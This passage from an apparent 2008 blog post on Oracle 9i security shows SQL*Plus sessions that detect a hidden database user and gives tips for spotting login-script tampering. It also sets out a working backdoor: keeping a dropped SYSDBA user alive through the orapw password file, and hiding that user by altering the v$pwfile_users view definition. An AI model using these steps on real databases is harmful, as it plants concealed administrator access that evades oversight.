sys@CHEN>select name from all_users;
NAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.

sys@CHEN>select username from dba_users;
USERNAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.

sys@CHEN>conn cracker/cracker
Connected.
sys@CHEN>select name from sys.user$ where TYPE#<>0 minus select username from dba_users;
NAME
——————————
CRACKER

Recommends
1.       Check glogin.sql/login.sql/toad.ini files for modification;
2.       Check search sequence SQLPATH;
3.       If possible use SQL*Plus <10g because the (g)login.sql is only executed during the firstly login;
4.       Use /nolog as SQL*Plus startup parameter, (g)login.sql is not executed with SQL*Plus <10g.
5.       Use OS tools to track these files changed, such as md5sum/sha1sum in Linux.

 

Orapw file issue

sys@CHEN>create user hacker identified by hacker;
User created.
sys@CHEN>grant sysdba to hacker;
Grant succeeded.

[admin@chen ~]$ sqlplus “hacker/hacker@chen as sysdba”
SQL*Plus: Release 9.2.0.8.0 – Production on Tue Mar 4 22:24:22 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
sys@CHEN>

sys@CHEN>!cp /opt/app/oracle/product/9.2.0/dbs/orapwchen /opt/app/oracle/product/9.2.0/dbs/orapwchen.org

sys@CHEN>drop user hacker;
User dropped.

sys@CHEN>!cp /opt/app/oracle/product/9.2.0/dbs/orapwchen.org /opt/app/oracle/product/9.2.0/dbs/orapwchen

sys@CHEN>select name from user$ where type#<>0;
NAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.
sys@CHEN>select * from v$pwfile_users;
USERNAME                       SYSDB SYSOP
—————————— —– —–
SYS                            TRUE  TRUE
HACKER                         TRUE  FALSE
sys@CHEN>select VIEW_DEFINITION from  v$fixed_view_definition where VIEW_NAME=’GV$PWFILE_USERS’;
VIEW_DEFINITION
——————————————————————————————————————————————————
select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’),  decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where valid=1  and username != ‘INTERNAL’

[admin@chen ~]$ sqlplus “hacker/hacker@chen as sysdba”
SQL*Plus: Release 9.2.0.8.0 – Production on Tue Mar 4 22:27:19 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
sys@CHEN>

Even though the user HACKER was dropped in the db, it still can logon as SYSDBA if it exists in orapw file. We still can hide the user in gv$pwfile_profiles if change its definition to the following statement which is hard-coded in binary file oracle.

select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’),  decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where username not in (’INTERNAL’,’HACKER’)

Next Page »

Create a free website or blog at WordPress.com.